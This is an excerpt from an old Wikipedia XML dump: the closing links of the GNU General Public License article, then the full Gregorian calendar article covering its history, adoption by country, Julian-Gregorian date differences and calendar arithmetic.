* [[Wikisource:GNU General Public License Discussion Draft 1 of Version 3|GNU General Public License Discussion Draft 1 of Version 3]]
* [[BSD License]]
* [[Mozilla Public License]]
* [[List of software licenses]]

{{wikisource}}

===External links===
*[http://www.gnu.org/licenses/gpl.html GNU General Public License v2.0]
*[http://www.gnu.org/copyleft/copying-1.0.html GNU General Public License v1.0] - This version is deprecated
*[http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License v2.1]
*[http://www.gnu.org/licenses/gpl-faq.html Frequently Asked Questions about the GPL]
*[http://www.gplmedicine.org/ GPLMedicine.org] an advocacy site for the GPL in health-related software
*[http://www.free-soft.org/gpl_history/ History of the GPL]
*[http://www.groklaw.net/article.php?story=20031214210634851 Groklaw: The GPL is a license, not a contract]
* [http://www.groklaw.net/article.php?story=20050622221934277 Groklaw: FSF Moves to Dismiss Wallace and for Stay on Filing Briefs on Summary Judgment Motion], [[June 22]] [[2005]]
*[http://www.gnu.org/philosophy/enforcing-gpl.html Enforcing the GNU GPL] by Eben Moglen, [[September 10]] [[2001]]
*[http://www.groklaw.net/staticpages/index.php?page=20050131065655645 Groklaw GPL References]
*[http://www.rattlesnake.com/software-law/GNU-GPL-and-Commentaries.html GNU General Public License and Commentaries] -  Edited by [[Robert Chassell]].
*[http://www.dwheeler.com/essays/gpl-compatible.html Make Your Open Source Software GPL-Compatible. Or Else.] (David A. Wheeler, [[7 April]] [[2004]]) &amp;mdash; why a GPL-compatible license is important to the health of a project
*[http://software.newsforge.com/software/04/07/15/163208.shtml &quot;Toward True Open Source&quot;] - an article about why the GPL is allegedly too restrictive
*[http://www.groklaw.net/article.php?story=20040725150736471 The German GPL Order - Translated]
*[http://www.riseforth.com/ossLicensingPrimer.htm John Koenig: Linux GPL Derivatives in a Nutshell]
*[http://www.iusmentis.com/computerprograms/opensourcesoftware/patentrisks/ Patent risks of open source software] - explains the patent license grant in the GPL
* [http://www.theregister.co.uk/2001/06/02/ballmer_linux_is_a_cancer/ &quot;Ballmer: 'Linux is a cancer'&quot;] by Thomas C Greene, The Register, [[June 2]] [[2001]]
*[http://www.novell.com/coolsolutions/feature/1532.html NOVELL: The GPL: Understanding the License that Governs Linux] - This article explains one view of the GPL in easy terms, talks about static vs. dynamic linking and the GPL, and discusses why companies like Microsoft may &quot;fear&quot; the license.
*[http://www.softpanorama.org/Copyright/License_classification/index.shtml SOFTPANORAMA: Labyrinth of Software Freedom ] - Nikolai Bezroukov's e-book about BSD, GPL and social aspects of free licensing
*[http://papers.ssrn.com/sol3/papers.cfm?abstract_id=569101 Viral Contracts or Unenforceable Documents? Contractual Validity of Copyleft Licenses ] - Article looking at the GPL from an European perspective.
*[http://gpl-violations.org/ GPL-Violations.org] - website [[monitoring]] the net for GPL violations
*[http://www.ifso.ie/documents/gplv3-launch-2006-01-16.html A transcript of FSF's January 16th, 2006, presentation of the changes they propose from GPLv2 to v3]

[[Category:Computer law]]
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    </revision>
  </page>
  <page>
    <title>Gregorian calendar</title>
    <id>12315</id>
    <revision>
      <id>41957634</id>
      <timestamp>2006-03-02T21:53:28Z</timestamp>
      <contributor>
        <username>Indefatigable</username>
        <id>20612</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:Gregorianscher Kalender Petersdom.jpg|thumb|right|300px|Inscription on the tomb of Pope Gregory XIII celebrating the introduction of the Gregorian Calendar]]
The '''Gregorian calendar''' is the [[calendar]] that is used nearly [[Calendar#Currently used calendars|everywhere]] in the world.  A modification of the [[Julian calendar]], it was first proposed by the [[Calabria]]n doctor [[Aloysius Lilius]], and was decreed by [[Pope Gregory XIII]], for whom it was named, on [[24 February]] [[1582]] (but see Note below under &quot;beginning of the year&quot;).  Its years are numbered from the ''[[anno Domini]]'' era, beginning with the traditionally accepted year of [[Jesus]]' birth.

The Gregorian Calendar was devised because the mean [[year]] in the Julian Calendar was slightly too long, causing the [[vernal equinox]] to slowly drift backwards in the [[calendar year]].

==History==

===Invention===
The motivation of the [[Catholicism|Catholic Church]] in adjusting the calendar was to have [[Easter]] celebrated at the time that they thought had been agreed to at the [[First Council of Nicaea]] in [[325]]. Although a canon of the council implies that all churches used the same Easter, they did not. The Church of Alexandria celebrated Easter on the Sunday after the 14th day of the Moon that falls on or after the [[vernal equinox]], which they placed on [[21 March]]. However, the Church of Rome still regarded [[25 March]] as the equinox and used a different day of the moon. By the tenth century all churches (except for some on the eastern border of the [[Byzantine Empire]]) had adopted the Alexandrian Easter, which still placed the vernal equinox on [[21 March]], although [[Bede]] had already noted its drift in 725 &amp;mdash; it had drifted even further by the sixteenth century.

Worse, the reckoned Moon that was used to compute Easter was fixed to the Julian year by a [[Metonic cycle|19 year cycle]]. However, that is an approximation that built up an error of one day every 310 years. So by the sixteenth century the lunar calendar was out of phase with the real Moon by four days.

The [[Council of Trent]] approved a plan in [[1563]] for correcting the calendrial errors, requiring that the date of the [[vernal equinox]] be restored to that which it held at the time of the First Council of Nicaea in 325 and that an alteration to the calendar be designed to prevent future drift.  This would allow for a more consistent and accurate scheduling of the feast of [[Easter]].

The fix was to come in two stages. First, it was necessary to approximate the correct length of a solar year. The value chosen was 365.2425 days in decimal notation. This is 365;14,33 days in [[sexagesimal]] notation - the length of the [[tropical year]], rounded to two sexagesimal positions; this was the value used in the major astronomical tables of the day. Although close to the [[mean tropical year]] of 365.2422 days, it is even closer to the [[vernal equinox year]] of 365.2424 days; this fact made the choice of approximation particularly appropriate as the purpose of creating the calendar was to ensure that the vernal equinox would be near a specific date ([[March 21]]). See [[#accuracy|Accuracy]].

The second stage was to devise a model based on the approximation which would provide an accurate yet simple, rule-based calendar.  The formula designed by [[Aloysius Lilius]] was ultimately successful.  It proposed a 10 day correction to revert the drift since Nicaea and the imposition of a leap day in only 97 years in 400 rather than in 1 year in 4. To implement the model, it was provided that ''years divisible by 100 would be [[leap year]]s only if they were divisible by 400 as well''. So, in the last millennium, 1600 and 2000 were leap years, but 1700, 1800 and 1900 were not. In this millennium, 2100, 2200, 2300 and 2500 will not be leap years, but 2400 will be. This theory was expanded upon by [[Christopher Clavius]] in a closely argued, 800 page volume. He would later defend his and Lilius's work against detractors.

The 19 year cycle used for the lunar calendar was also to be corrected by one day every 300 or 400 years (8 times in 2500 years) along with corrections for the years (1700, 1800, 1900, 2100 etc.) that are no longer leap years. In fact, a new method for [[Computus|computing the date of Easter]] was introduced.

Lilius originally proposed that the 10 day correction should be implemented by deleting the Julian leap day on each of its ten occurrences during a period of 40 years, thereby providing for a gradual return of the equinox to [[21 March]]. However, Clavius's opinion was that the correction should take place in one move and it was this advice which prevailed with Gregory.  Accordingly, when the new calendar was put in use, the error accumulated in the 13 centuries since the Council of Nicaea was corrected by a deletion of ten days. The last day of the Julian calendar was [[4 October]] [[1582]] and this was followed by the first day of the Gregorian calendar [[15 October]] [[1582]]. Nevertheless, the dates &quot;[[5 October]] [[1582]]&quot; to &quot;[[14 October]] [[1582]]&quot; (inclusive) are still valid in virtually all countries because even most Roman Catholic countries did not adopt the new calendar on the date specified by the bull, but months or even years later (the last in 1587).

===Beginning of the year===

During the [[Middle Ages]] [[1 January]] was given the name ''[[New Year's Day]]'' (or an equivalent name) in all [[Western Europe]]an countries (those with predominantly Catholic populations), even while most of those countries began their numbered year on [[25 December]] (the Nativity of [[Jesus]]), then [[25 March]] (the Incarnation of Jesus), and even [[Easter]], as in [[France]]. This name was the result of always displaying the months of the medieval calendar from [[January]] to [[December]] (in twelve columns containing 28 to 31 days each), just like the Romans did. Furthermore, all Western European countries (except for a few [[Italy|Italian]] states) shifted the first day of their numbered year to [[1 January]] while they were still using the Julian calendar, ''before'' they adopted the Gregorian calendar, many during the sixteenth century. Eastern European countries (most of them with populations showing allegiance to the [[orthodoxy|Orthodox Church]]) began their numbered year on [[1 September]] (since about [[988]]). The following list is partially based on [http://www.genfair.com/dates.htm Old Style and New Style Dates] and [http://homepages.tesco.net/~jk.calisto/calisto/calendars/change_dates_ny.htm The Change of New Year's Day].

{| class=&quot;wikitable&quot;
|+'''Adoption of [[January 1]] as beginning of numbered year &lt;br&gt; versus Gregorian Calendar adoption year'''
! Country || [[1 January]] NY || Greg Cal
|-
| [[Venice]] || 1522 || 1582
|-
| [[Germany]] || 1544 || from 1583
|-
| [[Spain]], [[Portugal]], and Roman Catholic [[Netherlands]] || 1556 || from 1582
|-
| [[Prussia]] || 1559 || 1700
|-
| [[Denmark]] || Early 14th century || 1700
|-
| [[Sweden]] || 1559 || 1753
|-
| [[France]] || 1564 || 1582
|-
| [[Lorraine (province)|Lorraine]] || 1579 || 1682
|-
| Protestant Netherlands || 1583 || from 1700
|-
| [[Scotland]] || 1600 || 1752
|-
| [[Russia]] || 1700 || 1918
|-
| [[Tuscany]] || 1721 || 1750
|-
| [[England]] || 1752 || 1752
|}

Neither the papal bull nor its attached canons explicitly state that the year of the Gregorian calendar is to begin on [[1 January]], contrary to popular opinion. However, it does imply such a year by including two tables of [[saint]]'s days, one labeled 1582 which ends on [[31 December]], and another for any full year that begins on [[1 January]]. It also specifies its [[epact]] relative to [[1 January]], in contrast with the Julian calendar, which specified it relative to [[22 March]]. These would have been the inevitable result of the above shift in the beginning of the Julian year.

Note: The [[papal bull]] ''[[Inter gravissimas]]'' was dated in the year 1581 for unknown reasons, but printed on [[1 March]], [[1582]].  Although the use of the date 1581 is often attributed to the supposed adoption by the papacy of a reckoning by which the year began on [[25 March]], other contemporaneous papal bulls have years that do not agree with March years, let alone years since a pope was named or other types of years.)

During the period between 1582, when the first countries adopted the Gregorian calendar, and 1923, when the last European country adopted it, it was often necessary to indicate the date of some event in both the Julian calendar and in the Gregorian calendar, for example, &quot;10/21&amp;nbsp;February 1751/52&quot;, where the dual year accounts for some countries already beginning their numbered year on [[1 January]] while others were still using some other date. Even before 1582, the year sometimes had to be double dated because of the different beginnings of the year in various countries.

===Adoption outside of Roman Catholic nations===

Very few countries implemented the new calendar on [[15 October]] [[1582]] &amp;mdash; only [[Spain]], [[Portugal]], the [[Polish-Lithuanian Commonwealth]], and most of [[Italy]]. Non-Catholic countries objected to adopting a Catholic invention. [[England]], [[Scotland]] and thereby the rest of the [[British Empire]] (including the eastern part of what is now the [[United States]]) did not adopt it until 1752, by which time it was necessary to correct by ''eleven'' days ([[2 September]] [[1752]] being followed by [[14 September]] [[1752]]) to account for [[29 February]] [[1700]] (Julian). Four years later, someone running for a seat in [[Parliament of the United Kingdom|Parliament]] used the campaign slogan &quot;Give us back our eleven days!&quot;, which created false stories of riots at the change-over. Britain legislated special provisions to make sure that monthly or yearly payments would not become due until the dates that they originally would have in the Julian calendar. From 1753 until 1799, the tax year in [[Britain]] began on [[5 April]], which was the &quot;old style&quot; new year of [[25 March]]. A 12th skipped Julian leap day in 1800 changed its start to [[6 April]]. It was not changed when a 13th Julian leap day was skipped in 1900, so the tax year in Britain is still [[6 April]]. [[Old Style and New Style dates|&quot;Old Style&quot;]] (OS) and [[Old Style and New Style dates|&quot;New Style&quot;]] (NS) are sometimes added to dates to identify which system is used in the [[British Empire]] and other countries that did not immediately change.

In [[Alaska]], the change took place when Friday [[6 October]] [[1867]] was followed again by Friday [[18 October]] after the US purchase of Alaska from Russia, which was still on the Julian calendar. The day of the week was repeated on successive days because the [[International Date Line]] was shifted from east of to west of Alaska along with the change to the Gregorian calendar.

[[Denmark]], [[Norway]] and the Protestant states of [[Germany]] adopted the solar portion of the new calendar in 1700, due to the influence of [[Ole R&amp;oslash;mer]], but did not adopt the lunar portion. Instead, they decided to calculate the date of Easter astronomically using the instant of the vernal equinox and the full moon according to [[Johannes Kepler|Kepler]]'s ''Rudolphine Tables'' of 1627. They finally adopted the lunar portion of the Gregorian calendar in 1776.

[[Sweden]]'s relationship with the Gregorian Calendar had a difficult birth. Sweden started to make the change from the OS calendar and towards the NS calendar in 1700, but it was decided to make the (now 11 day) adjustment gradually, by excluding the leap days ([[29 February]]) from each of 11 successive leap years, 1700 to 1740. In the meantime, not only would the Swedish calendar be out of step with both the Julian calendar '''and''' the Gregorian calendar for 40 years, but also the difference would not be static but would change every 4 years. This strange system clearly had great potential for endless confusion when working out the dates of Swedish events in this 40 year period. To make matters worse, the system was poorly administered and the leap days that should have been excluded from 1704 and 1708 were not excluded. The Swedish calendar should by now have been 8 days behind the Gregorian, but it was still in fact 10 days behind. King [[Charles XII of Sweden|Charles XII]] wisely recognised that the gradual change to the new system was not working and he abandoned it. However, rather than now proceeding directly to the Gregorian calendar (as in hindsight seems to have been the sensible and obvious thing to do), it was decided to revert to the Julian calendar. This was achieved by introducing the unique date [[30 February]] in the year 1712, adjusting the discrepancy in the calendars from 10 back to 11 days. Sweden finally adopted the Gregorian calendar in 1753, when [[17 February]] was followed by [[1 March]].

In [[Russia]] the Gregorian calendar was accepted after the [[October Revolution]] (so named because it took place in October 1917 in the Julian calendar).  On [[24 January]] [[1918]] the [[Sovnarkom|Council of People's Commissars]] decreed that [[31 January]] [[1918]] was to be followed by [[14 February]] [[1918]].

The last country of Eastern Europe to adopt the Gregorian calendar was [[Greece]] in 1923. However, these were all civil adoptions &amp;mdash; none of the national churches accepted it. Instead, a [[Revised Julian calendar]] was proposed in May 1923 which dropped 13 days in 1923 and adopted a different leap year rule that resulted in no difference between the two calendars until 2800. The Orthodox churches of Greece, Bulgaria, Romania, Poland, and a few others around the Eastern Mediterranean (Constantinople, Alexandria, Antioch, and Cyprus) adopted the Revised Julian calendar, so these [[New calendarists]] will celebrate the Nativity along with the Western churches on [[25 December]] in the Gregorian calendar until 2800. The Orthodox churches of Russia, Serbia, Jerusalem, and a few bishops in Greece did not accept the Revised Julian calendar. These [[Old Calendarists]] continue to celebrate the Nativity on [[25 December]] in the Julian calendar, which is [[7 January]] in the Gregorian calendar until 2100. All of the other Eastern churches that are not Orthodox churches, like the Coptic, Ethiopic, Nestorian, Jacobite, and Armenian, continue to use their own calendars, which usually result in fixed dates being celebrated in accordance with the Julian calendar. All Eastern churches continue to use the Julian Easter with the sole exception of the [[Finnish Orthodox Church]], which has adopted the Gregorian Easter.

The [[Republic of China]] formally adopted the Gregorian calendar at its founding on [[1 January]] [[1912]], but China soon descended into a period of warlordism with different warlords using different calendars. With the [[Northern Expedition|unification]] of China under the [[Kuomintang]] in October 1928, the [[Nationalist Government]] decreed that effective [[1 January]] [[1929]] the Gregorian calendar would be used henceforth. However, China retained the Chinese traditions of numbering the months and a modified [[Era System]], backdating the first year of the ROC to 1912; this system is still in use in [[Taiwan]] where this ROC government retains control. Upon its foundation in 1949, the [[People's Republic of China]] continued to use the Gregorian calendar with numbered months, but abolished the ROC Era System and adopted the Western fashion of naming years.

[[Japan]] replaced the traditional lunisolar calendar with the Gregorian calendar on [[1 January]] [[1873]], but, like China, continued to number the months, and used reign names instead of the [[Common Era]]: ''Meiji'' 1=1868, ''Taisho'' 1=1912, ''Showa'' 1=1926, ''Heisei'' 1=1989, and so on. This system remains in use. The &quot;western calendar&quot; (&amp;#35199;&amp;#26278;, ''seireki'') is nonetheless widely accepted by civilians and to a less extent by government agencies.

====Timeline====
&lt;timeline&gt;
DateFormat = yyyy
ImageSize  = width:800 height:auto barincrement:38
PlotArea   = left:20 right:20 bottom:20 top:10
Colors     =
  id:noir              value:black
  id:canvas            value:rgb(0.97,0.97,0.97)
  id:gris              value:gray(0.80)
  id:grilleMajor       value:rgb(0.80,0.80,0.80)
  id:bleuclair         value:rgb(0.56,0.56,0.86)
  id:rouge             value:red
  id:rougeclair        value:rgb(0.86,0.56,0.56)
  id:bleuclair         value:rgb(0.76,0.76,0.96)
  id:grilleMinor       value:rgb(0.86,0.86,0.86)

Period     = from:1550 till:2050
TimeAxis   = orientation:horizontal format:yyyy
AlignBars  = justify
ScaleMinor = unit:year increment:50 start:1550 gridcolor:grilleMinor
ScaleMajor = unit:year increment:100 start:1600 gridcolor:grilleMajor
BackgroundColors = canvas:canvas bars:canvas
BarData=
  bar:epoque
  barset:evennement

PlotData=
  bar:epoque shift:(0,0) width:30
  from:start till:end color:gris # Arri�re plan

  from:start till:1581  text:&quot;Julian~calendar&quot; color:rougeclair  anchor:from
  from:1582  till:end   text:&quot;Gregorian calendar&quot; color:rouge
  barset:evennement color:noir shift:(2,0) width:25

  from:1582  till:1582  text:&quot;1582~Spain, Portugal,  and their possessions;~Italy, Polish-Lithuanian Commonwealth&quot;   shift:(2,5)
  from:1582  till:1582  text:&quot;1582~France, Catholic Netherlands, Savoy, Luxembourg&quot;
  from:1583  till:1583  text:&quot;1583~Austria; Catholic Switzerland and Germany&quot;
  from:1587  till:1587  text:&quot;1587~Hungary&quot;
  from:1605  till:1710  text:&quot;1605-1710~Nova Scotia&quot; color:bleuclair anchor:from
  from:1610  till:1610  text:&quot;1610~Prussia&quot;
  from:1582  till:1735  text:&quot;1582-1735~Duchy of Lorraine&quot; color:bleuclair anchor:from
  from:1648  till:1648  text:&quot;1648~Alsace&quot;
  from:1682  till:1682  text:&quot;1682~Strasbourg&quot;
  from:1700  till:1700  text:&quot;1700~Protestant Germany, Switzerland and Netherlands;~Denmark &amp; Norway&quot; shift:(2,5)
  from:1753  till:1753  text:&quot;1753~Sweden &amp; Finland&quot;

  #To start again the indentation in top
  barset:break
  at:1752 #blank line
  at:1752 #blank line
  at:1752 #blank line
  at:1752 #blank line
  from:1752  till:1752  text:&quot;1752~Britain and its possessions&quot;
  at:1760 #blank line
  from:1760  till:1760  text:&quot;1760~Lorraine (Habsburg -&gt; France)&quot;
  at:1584 #blank line
  at:1584 #blank line
  from:1584  till:1584  text:&quot;1584~Bohemia and Moravia&quot;

  #To start again the indentation in top
  barset:break
  from:1811  till:1811  text:&quot;1811~Swiss canton of Grisons&quot;
  from:1867  till:1867  text:&quot;1867~Alaska (Russia -&gt; USA)&quot;
  from:1873  till:1873  text:&quot;1873~Japan&quot;
  from:1875  till:1875  text:&quot;1875~Egypt&quot;
  from:1912  till:1912  text:&quot;1912~Albania&quot;
  from:1915  till:1915  text:&quot;1915~Latvia, Lithuania&quot;
  from:1916  till:1916  text:&quot;1916~Bulgaria&quot;
  from:1918  till:1918  text:&quot;1918~Russia, Estonia&quot;
  from:1919  till:1919  text:&quot;1919~Romania, Yugoslavia
  from:1922  till:1922  text:&quot;1922~USSR&quot;
  from:1923  till:1923  text:&quot;1923~Greece&quot;
  from:1926  till:1926  text:&quot;1926~Turkey&quot;

  #To start again the indentation in top
  barset:break
  from:1912  till:1912  text:&quot;1912 &amp; 1929~China&quot;  shift:(2,5)

&lt;/timeline&gt;

==Proleptic Gregorian calendar==

The Gregorian calendar can, for certain purposes, be extended backwards to dates preceding its official introduction, producing the [[proleptic Gregorian Calendar]]. However, this proleptic calendar should be used with great caution.

For ordinary purposes, the dates of events occurring prior to [[15 October]] [[1582]] are generally shown as they appeared in the Julian calendar, and '''not''' converted into their Gregorian equivalents.

However, events occurring in countries where the Gregorian calendar was introduced later than [[4 October]] [[1582]] are a little more contentious.  For example, in Britain and its overseas possessions (then including the American colonies), the new calendar was not introduced until [[14 September]] [[1752]]. How, then, would people date events occurring in Britain and her possessions in the 170 years between 1582 and 1752? The answer depends very much on the context, but writers who want to avoid confusion make it absolutely clear which calendar is being used. People have avoided changing historical records in Britain deriving from this period; however, it is often highly desirable to translate particular [[Old Style and New Style dates|Old Style]] dates into their [[Old Style and New Style dates|New Style]] equivalents, such as where the context includes reference to other countries that had already converted to New Style before Britain did. Astronomers avoid this ambiguity by the use of the [[Julian day number]].

If comparisons of dates are done using different calendars, we can encounter logical absurdities such as [[William and Mary]] of Orange seeming to arrive in London to accept the English crown, a week or so before they left the [[Netherlands]]; and [[William Shakespeare|Shakespeare]] and [[Miguel de Cervantes|Cervantes]] apparently dying on exactly the same date ([[23 April]] [[1616]]), when in fact Cervantes predeceased Shakespeare by 10 days in real time. This coincidence however has allowed [[UNESCO]] to make [[23 April]] the [[International Day of the Book]].

For dates before the year 1, unlike the proleptic Gregorian calendar used in the [[international standard]] [[ISO 8601]], the traditional proleptic Gregorian calendar (like the Julian calendar) does not have a [[year zero|year 0]] and instead uses the counting numbers 1, 2, &amp;hellip; both for years AD and BC and for CE and BCE. Thus the traditional timeline is 2 BC, 1 BC, AD 1, and AD 2. ISO 8601 uses [[astronomical year numbering]] which includes a year 0 and negative numbers before it. Thus the ISO 8601 timeline is -0001, 0000, 0001, and 0002.

==Confusion with British versus American usage==

Dates of events in Britain prior to 1752 are usually now shown in their original Old Style form, whereas dates of events in (then British) America prior to 1752 are usually now shown in the New Style form.

* For example, Shakespeare died on [[23 April]] (OS), and it is rare to see this converted to [[3 May]] (NS). But while [[George Washington]] was born on [[11 February]] (OS), his birthday is now celebrated on [[22 February]] (NS).  (He changed its celebration date himself, as a twenty one year old surveyor.)

However, neither of these practices is universal in either country, so it is sometimes very unclear which calendar is being used, and this can lead to false assumptions, which can lead to dates being inaccurately converted from one calendar to the other. Since the resurgence of interest in the history of the calendar, more information about the real dates (according to various calendars) of events has been forthcoming and many previous errors have been corrected. While these changes are welcome, there is still much scope for confusion; therefore, noting the calendar being used in transitional periods would help the reader understand the dates involved.

==Difference between Gregorian and Julian calendar dates==

Since the introduction of the Gregorian calendar, the difference between Gregorian (New Style) and Julian (Old Style) calendar dates has increased as follows:

{| class=&quot;wikitable&quot;
! Gregorian range || Julian range || Difference
|-
|From [[15 October]] [[1582]] &lt;br&gt; to [[28 February]] [[1700]]
|From [[5 October]] [[1582]] &lt;br&gt; to [[18 February]] [[1700]]
|10 days
|-
|From [[1 March]] [[1700]] &lt;br&gt; to [[28 February]] [[1800]]
|From [[19 February]] [[1700]] &lt;br&gt; to [[17 February]] [[1800]]
|11 days
|-
|From [[1 March]] [[1800]] &lt;br&gt; to [[28 February]] [[1900]]
|From [[18 February]] [[1800]] &lt;br&gt; to [[16 February]] [[1900]]
|12 days
|-
|From [[1 March]] [[1900]] &lt;br&gt; to [[28 February]] [[2100]]
|From [[17 February]] [[1900]] &lt;br&gt; to [[15 February]] [[2100]]
|13 days
|}

The difference grows by 3 days in every four centuries.  

On average, 48,700 Gregorian years and 48,699 Julian years each equal 17,787,309.75 days.  Any 194,800 consecutive Gregorian years and any consecutive 194,796 Julian years each have exactly 71,149,239 days.  Approximately every 487 centuries, there is a period during which the difference between the calendars is approximately an integral number of years and the day of the year can be the same on both calendars.  Every fourth one of these is a period that occurs exactly every 71,149,239 days (194,800 Gregorian years or 194,796 Julian years) and lasts 36,524 days (100 years on Gregorian calendar, and 99 years, 365 days on the Julian calendar), during which the difference between the calendars is an integral multiple of 1,461 days (four years) and the month and day of the month (but not the year) are the same on both calendars for the entire period.  The remainder are periods of several centuries each, during which the day of the year coincides for approximately 25-75% of the months in each century.

==Months of the year==

The Gregorian calendar's year is divided into 12 months:

{| class=&quot;wikitable&quot;
! No. || Name || Days
|-
| 1 || [[January]] || 31
|-
| 2 || [[February]] || 28 or 29
|-
| 3 || [[March]] || 31
|-
| 4 || [[April]] || 30
|-
| 5 || [[May]] || 31
|-
| 6 || [[June]] || 30
|-
| 7 || [[July]] || 31
|-
| 8 || [[August]] || 31
|-
| 9 || [[September]] || 30
|-
| 10 || [[October]] || 31
|-
| 11 || [[November]] || 30
|-
| 12 || [[December]] || 31
|}

English speakers sometimes remember the number of days in each month by the use of the traditional [[mnemonic]] verse: ''Thirty days hath September / April, June and November / All the rest have thirty-one / Excepting February alone / Which has but twenty-eight, in fine / Till leap year gives it twenty-nine.'' Alternate endings are: ''Which has eight and a score / Until leap year gives it one day more,'' or ''Which hath twenty-eight days clear / And twenty-nine in each leap year. or When short February's done / all the rest have thirty-one''

A language-independent alternative is to hold up your two fists with the index knuckle of your left hand against the index knuckle of your right hand. Then, starting with January from the little knuckle of your left hand, count knuckle, space, knuckle, space through the months. A knuckle represents a month of 31 days, and a space represents a short month (a 28- or 29-day February or any 30-day month).

==Accuracy==

The Gregorian calendar improves the approximation made by the [[Julian calendar]] by skipping three Julian leap days in every 400 years, giving an average year of 365.2425 [[solar time|mean solar day]]s long, which has an error of about one [[day]] per 3300 [[year]]s with respect to the [[mean tropical year]] of 365.2422 days but less than half this error with respect to the [[vernal equinox year]] of 365.2424 days. Both are substantially more accurate than the one day in 128 years error of the Julian calendar (average year 365.25 days).

On timescales of thousands of years, the Gregorian calendar falls behind the seasons drastically because the slowing down of the Earth's rotation makes each day slightly longer over time (see [[tidal acceleration]] and [[leap second]]) while the year maintains a more uniform duration. The equinox will occur earlier than now by a number of days approximately equal to [years into future/5000]&lt;sup&gt;2&lt;/sup&gt;. This is a problem that the Gregorian calendar shares with any rule-based calendar.

==Calendar seasonal error==

[[Image:Gregoriancalendarleap.png|nome|640px|Gregorian calendar seasons difference]]

This image shows the difference between the Gregorian calendar and the seasons.

The ''y''-axis is &quot;days error&quot; and the ''x''-axis is Gregorian calendar years.

Each point represents a single date on a given year. The error shifts by about a quarter of a day per year. Years that are multiples of 100 but not 400 are ''not'' leap years. This causes a correction on years 1700, 1800, 1900, 2100, 2200, and 2300.

For instance, these corrections cause [[23 December]] [[1903]] to be the latest December solstice, and [[20 December]] [[2096]] to be the earliest solstice&amp;mdash;2.25 days of variation compared with the seasonal event.

==Numerical facts==
When leap years and common years are taken into account, there are a total of 14 possible Gregorian calendars.

When different dates of Easter are also taken into account, there are a total of 70 possible Gregorian calendars.

An average year is 365.2425 days = 52.1775 weeks = 8,765.82 hours = 525,949.2 minutes = 31,556,952 seconds.

A common year is 365 days = 8,760 hours = 525,600 minutes = 31,536,000 seconds.

A leap year is 366 days = 8,784 hours = 527,040 minutes = 31,622,400 seconds.

(Some years may also contain a [[leap second]], which can be positive or negative.)

See also [[common year starting on Sunday]] and [[dominical letter]].

The 400-year cycle of the Gregorian calendar has 146,097 days and hence exactly 20,871 weeks. So, for example, the days of the week in Gregorian 1603 were exactly the same as for 2003. This also causes more months to begin on a Sunday (and hence have [[Friday 13]]) than any other day of the week. 688 out of every 4800 months (or 172/1200) begin on a Sunday, while only 684 out of every 4800 months (171/1200) begin on each of Saturday and Monday, the least common cases.

A smaller cycle is 28 years (1,461 weeks), provided that there is no dropped leap year in between. Days of the week in years may also repeat after 6, 11, 12, 28 or 40 years. Intervals of 6 and 11 are only possible with common years, while intervals of 28 and 40 are only possible with leap years. An interval of 12 years can occur with either type, but only when there is a dropped leap year in between.

The [[Doomsday algorithm]] is a method by which you can discern which of the 14 calendar variations should be used in any given year (after the Gregorian reformation). It is based on the last day in February, referred to as the Doomsday.

==Number of leap years starting on a given day of the week==

Because there are 97 leap years in every 400 in the Gregorian Calendar, there should, in each &quot;cycle&quot;, be either 13 or 14 leap years starting on each day of the week. However, the effects of the &quot;common&quot; centennial years (1700, 1800, 1900, 2100, 2200 etc.) cause major alterations.

This is because the absence of an extra day in such years causes the following leap year (1704, 1804, 1904, 2104 etc.) to ''start on the same day of the week as the leap year twelve years before'' (1692, 1792, 1892, 2092 etc.). Similarly, the leap year eight years after a &quot;common&quot; centennial year (1708, 1808, 1908, 2108 etc.) starts on the same day of the week as the leap year ''immediately prior to the &quot;common&quot; centennial year'' (1696, 1796, 1896, 2096 etc.). Thus, those days of the week on which such leap years begin gain an extra year or two in each cycle. In each cycle there are:

* '''13''' leap years starting on [[leap year starting on Monday|Monday]]
* '''14''' leap years starting on [[leap year starting on Tuesday|Tuesday]]
* '''14''' leap years starting on [[leap year starting on Wednesday|Wednesday]]
* '''13''' leap years starting on [[leap year starting on Thursday|Thursday]]
* '''15''' leap years starting on [[leap year starting on Friday|Friday]]
* '''13''' leap years starting on [[leap year starting on Saturday|Saturday]]
* '''15''' leap years starting on [[leap year starting on Sunday|Sunday]]

==Days of the week==

[[January 1]] of any year whose number is a multiple of 400 is a [[Saturday]]. From this you can work out the day of the week of any date.

See also:
*[[Days of the week]]
*[[Calculating the day of the week]]

==Reference==
*''Gregorian reform of the calendar: Proceedings of the Vatican conference to commemorate its 400th anniversary, 1582-1992'', ed. G. V. Coyne, M. A. Hoskin, and O. Pedersen (Vatican City: Pontifical Academy of Sciences, Specolo Vaticano, 1983).

==See also==

* [[Year zero]]
* [[List of calendars]]
* [[Calendar reform]]
* [[:Category:Unusual dates]]
* [[Old Style and New Style dates]]

==External links==

* [http://hermes.ulaval.ca/~sitrau/calgreg/bulle.html Inter Gravissimas, Gregory XIII's bull introducing the new calendar (Latin and French)]
* [http://www.bluewaterarts.com/calendar/NewInterGravissimas.htm Inter Gravissimas (Latin and French plus English)]
* [http://webexhibits.org/calendars/year-text-British.html British Calendar Act 1751]
* [http://www.tondering.dk/claus/calendar.html Frequently Asked Questions about Calendars]
* [http://www.norbyhus.dk/calendar.html The Perpetual Calendar] Gregorian Calendar adoption dates for many countries.
* [http://5ko.free.fr/jul-greg.php?e=en Synoptical Julian - Gregorian calendar] Compare Old and New Style dates 1582 - 2100.
[[Category:Specific calendars]]

[[af:Gregoriaanse kalender]]
[[als:Gregorianischer Kalender]]
[[ang:Gregorisc gerīmbōc]]
[[ar:تقويم غريغوري]]
[[bg:Григориански календар]]
[[be:Грэгарыянскі каляндар]]
[[bs:Gregorijanski kalendar]]
[[ca:Calendari gregorià]]
[[ceb:Kalendaryong Gregoryano]]
[[cs:Gregoriánský kalendář]]
[[cy:Calendr Gregoriaidd]]
[[da:Gregorianske kalender]]
[[de:Gregorianischer Kalender]]
[[et:Gregoriuse kalender]]
[[el:Γρηγοριανό ημερολόγιο]]
[[es:Calendario gregoriano]]
[[eo:Gregoria kalendaro]]
[[eu:Egutegi gregoriotar]]
[[fa:تقویم گرگوری]]
[[fo:Gregorianski kalendarin]]
[[fr:Calendrier grégorien]]
[[fy:Gregoriaanske kalinder]]
[[fur:Calendari Gregorian]]
[[gl:Calendario gregoriano]]
[[ko:그레고리력]]
[[io:Gregoriana kalendario]]
